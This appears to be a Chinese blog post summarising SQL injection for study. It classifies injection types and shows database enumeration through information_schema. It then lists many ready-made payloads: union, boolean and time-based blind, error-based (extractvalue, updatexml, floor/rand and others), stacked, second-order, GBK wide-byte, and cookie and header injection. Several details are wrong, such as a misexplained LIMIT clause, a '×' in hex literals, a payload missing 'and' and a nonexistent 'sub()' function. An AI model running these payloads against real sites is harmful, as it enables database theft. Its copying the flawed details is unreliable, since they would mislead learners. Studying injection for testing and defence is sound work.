发现onenote有好多收藏的文章,想自己参考着来写一篇sql注入的总结文章。
介绍
sql注入就是一种通过操作输入来修改后台操作语句达到执行恶意sql语句来进行攻击的技术。
程序对输入的文字没有进行过滤,而直接拿去拼接sql语句,我们可以通过截断sql语句来运行我们的的语句进行攻击实现比如脱裤等。
分类
按变量类型分
数字型
许多网页链接有类似的结构 http://xxx.com/users.php?id=1 基于此种形式的注入,注入点id为数字,一般被叫做数字型注入点,通过这种形式查询出后台数据库信息返回前台展示,可以构造类似以下的sql语句进行爆破:select *** from 表名 where id=1 and 1=1
字符型
网页链接有类似的结构 http://xxx.com/users.php?name=admin 这种形式,注入点name为字符串,被称为字符型注入,可以用:select *** from 表名 where name=’admin’ and 1=1
搜索型
主要是指在数据搜索时没有过滤搜索参数,一般在链接地址中有 “keyword=“关键字””,注入点提交的是sql语句,select * from 表名 where 字段 like ‘%关键字%’ and ‘%1%’=’%1%’
按HTTP提交方式分
GET注入
通过GET请求,比如?id=’and 1=1
POST注入
可以分为以下这三种,xml存在注入的可能性非常大
- form
- json
- xml
Cookie注入
通过Cookie注入
按注入方式分
报错注入
即页面会返回错误信息,或者把注入的语句的结果直接返回在页面中。
盲注
- 布尔盲注
根据页面返回判断条件真假注入 比如 and 1=1
- 时间盲注
即不能根据页面返回内容判断任何信息,用条件语句查看时间延迟语句是否执行(即页面返回时间是否增加)来判断
- 布尔盲注
union注入
可以使用union情况下注入
编码问题
- 宽字节注入
识别后台数据库
一般情况下来说,可以根据操作系统和web语言推测出常用的
根据操作系统平台
- sql server:Windows(IIS)
- MySQL:Apache
根据web语言
- Microsoft SQL Server: ASP 和 .Net
- MySQL:PHP
- Oracle/MySQL:java
数据库区别
每个数据库都有不同的区别,暂时列出这些
Mysql
MySQL 5.0以上和MySQL 5.0以下版本的区别
MySQL 5.0以上版本存在一个存储着数据库信息的信息数据库–INFORMATION_SCHEMA ,其中保存着关于MySQL服务器所维护的所有其他数据库的信息。如数据库名,数据库的表,表栏的数据类型与访问权限等。 而5.0以下没有。
information_schema
系统数据库,记录当前数据库的数据库,表,列,用户权限等信息
大致列下用得到的
列名 | 数据类型 | 描述 |
---|---|---|
TABLE_CATALOG | nvarchar(128) | 表限定符 |
TABLE_SCHEMA | nvarchar(128) | 表所有者 |
TABLE_NAME | nvarchar(128) | 表名 |
COLUMN_NAME | nvarchar(128) | 列名 |
ORDINAL_POSITION | smallint | 列标识号 |
COLUMN_DEFAULT | nvarchar(4000) | 列的默认值 |
IS_NULLABLE | varchar(3) | 列的为空性。如果列允许 NULL,那么该列返回 YES。否则,返回 NO。 |
首先介绍一下的是爆库
select SCHEMA_NAME from information_schema.SCHEMATA limit 5,1
5,1表示从第1个开始,数到第5个
然后就是爆表了。select TABLE_NAME from information_schema.TABLES where TABLE_SCHEMA=0×6D656D626572 limit 5,1
TABLE_SCHEMA=后面是库名的16进制
再来爆字段
select COLUMN_NAME from information_schema.COLUMNS where TABLE_NAME=0×61646D5F75736572 limit 5,1
所有数据都是从information_schema.columns这个表里获取,因为从information_schema这个库我们可以看到,从information_schema.columns这个表里,我们可以查到所有的信息,因为它在里面,table_schema、 table_name、column_name这个三个列都有,所以我们可以直接通过这个表,查出我们需要的所有信息,就省了换表这一步了,进一步提升速度
然后下面也会介绍手工注入
SCHEMATA
储存mysql所有数据库的基本信息,包括数据库名,编码类型路径等
TABLES
储存mysql中的表信息,包括这个表是基本表还是系统表,数据库的引擎是什么,表有多少行,创建时间,最后更新时间等
COLUMNS
储存mysql中表的列信息,包括这个表的所有列以及每个列的信息,该列是表中的第几列,列的数据类型,列的编码类型,列的权限,列的注释等
手工注入
要从select语句中获得有用的信息,必须确定该数据库中的字段数和那个字段能够输出,这是前提。
MySQL >= 5.0
获取字段数
order by n /*通过不断尝试改变n的值来观察页面反应确定字段数*/
获取系统数据库名
在MySQL >5.0中,数据库名存放在information_schema数据库下schemata表schema_name字段中
select 1,2,schema_name from information_schema.schemata
获取当前数据库名
select 1,2,...,database()
获取数据库中的表
select 1,2,...,group_concat(table_name) from information_schema.tables where table_schema=database()
或者
select 1,2,...,table_name from information_schema.tables where table_schema=database() limit 0,1
获取表中的字段
这里假设已经获取到表名为user
select 1,2,...,group_concat(column_name) from information_schema.columns where table_schema=database() and table_name='users'
获取各个字段值
这里假设已经获取到表名为user,且字段为username和password
select 1,group_concat(username,password) from users
MySQL < 5.0
MySQL < 5.0 没有信息数据库information_schema,所以只能手工枚举爆破(二分法思想)。
该方式通常用于盲注。
相关函数
length(str)
:返回字符串str的长度
substr(str, pos, len)
:将str从pos位置开始截取len长度的字符进行返回。注意这里的pos位置是从1开始的,不是数组的0开始
mid(str,pos,len)
:跟上面的一样,截取字符串
ascii(str)
:返回字符串str的最左面字符的ASCII代码值
ord(str)
:将字符或布尔类型转成ascll码
if(a,b,c)
:a为条件,a为true,返回b,否则返回c,如if(1>2,1,0),返回0
基于布尔的盲注
and ascii(substr((select database()),1,1))>64 /*判断数据库名的第一个字符的ascii值是否大于64*/
基于时间的盲注
id=1 union select if(SUBSTRING(user(),1,4)='root',sleep(4),1),null,null /*提取用户名前四个字符做判断,正确就延迟4秒,错误返回1*/
常用注入方式
注释符
1 |
|
实例
1 | mysql> select * from users -- where id = 1; |
union注入
1 | id =-1 union select 1,2,3 /*获取字段*/ |
Boolean注入
1 | id=1' substr(database(),1,1)='t'--+ /*判断数据名长度*/ |
报错注入
floor()和rand()
1 | union select count(*),2,concat(':',(select database()),':',floor(rand()*2))as a from information_schema.tables group by a /*利用错误信息得到当前数据库名*/ |
extractvalue()
1 | id=1 and (extractvalue(1,concat(0x7e,(select user()),0x7e))) |
updatexml()
1 | id=1 and (updatexml(1,concat(0x7e,(select user()),0x7e),1)) |
geometrycollection()
1 | id=1 and geometrycollection((select * from(select * from(select user())a)b)) |
multipoint()
1 | id=1 and multipoint((select * from(select * from(select user())a)b)) |
polygon()
1 | id=1 and polygon((select * from(select * from(select user())a)b)) |
multipolygon()
1 | id=1 and multipolygon((select * from(select * from(select user())a)b)) |
linestring()
1 | id=1 and linestring((select * from(select * from(select user())a)b)) |
multilinestring()
1 | id=1 and multilinestring((select * from(select * from(select user())a)b)) |
exp()
1 | id=1 and exp(~(select * from(select user())a)) |
时间注入
1 | id = 1 and if(length(database())>1,sleep(5),1) |
堆叠查询注入
1 | id = 1';select if(sub(user(),1,1)='r',sleep(3),1)%23 |
二次注入
假如在如下场景中,我们浏览一些网站的时候,可以现在注册见页面注册username=test’,接下来访问xxx.php?username=test’,页面返回id=22;
接下来再次发起请求xxx.php?id=22,这时候就有可能发生sql注入,比如页面会返回MySQL的错误。
访问xxx.php?id=test’ union select 1,user(),3%23,获得新的id=40,得到user()的结果,利用这种注入方式会得到数据库中的值。
宽字节注入
利用条件:
查询参数是被单引号包围的,传入的单引号又被转义符()转义,如在后台数据库中对接受的参数使用addslashes()或其过滤函数
数据库的编码为GBK
利用方式
1 | id = -1%DF' union select 1,user(),3,%23 |
在上述条件下,单引号’被转义为%5c,所以就构成了%df%5c,而在GBK编码方式下,%df%5c是一个繁体字“連”,所以单引号成功逃逸。
Cookie注入
当发现在url中没有请求参数,单数却能得到结果的时候,可以看看请求参数是不是在cookie中,然后利用常规注入方式在cookie中注入测试即可,只是注入的位置在cookie中,与url中的注入没有区别。
Cookie: id = 1 and 1=1
base64注入
对参数进行base64编码,再发送请求。
说明:id=1’,1的base64编码为MSc=,而=的url编码为%3d,所以得到以下结果:
id=MSc%3d
XFF注入
XFF(X-Forward-For),简称XFF头,它代表客户端真实的ip地址
X-Forward-For:127.0.0.1’ select 1,2,user()
sql注入绕过
篇幅过长,放另外一篇了
参考
百度百科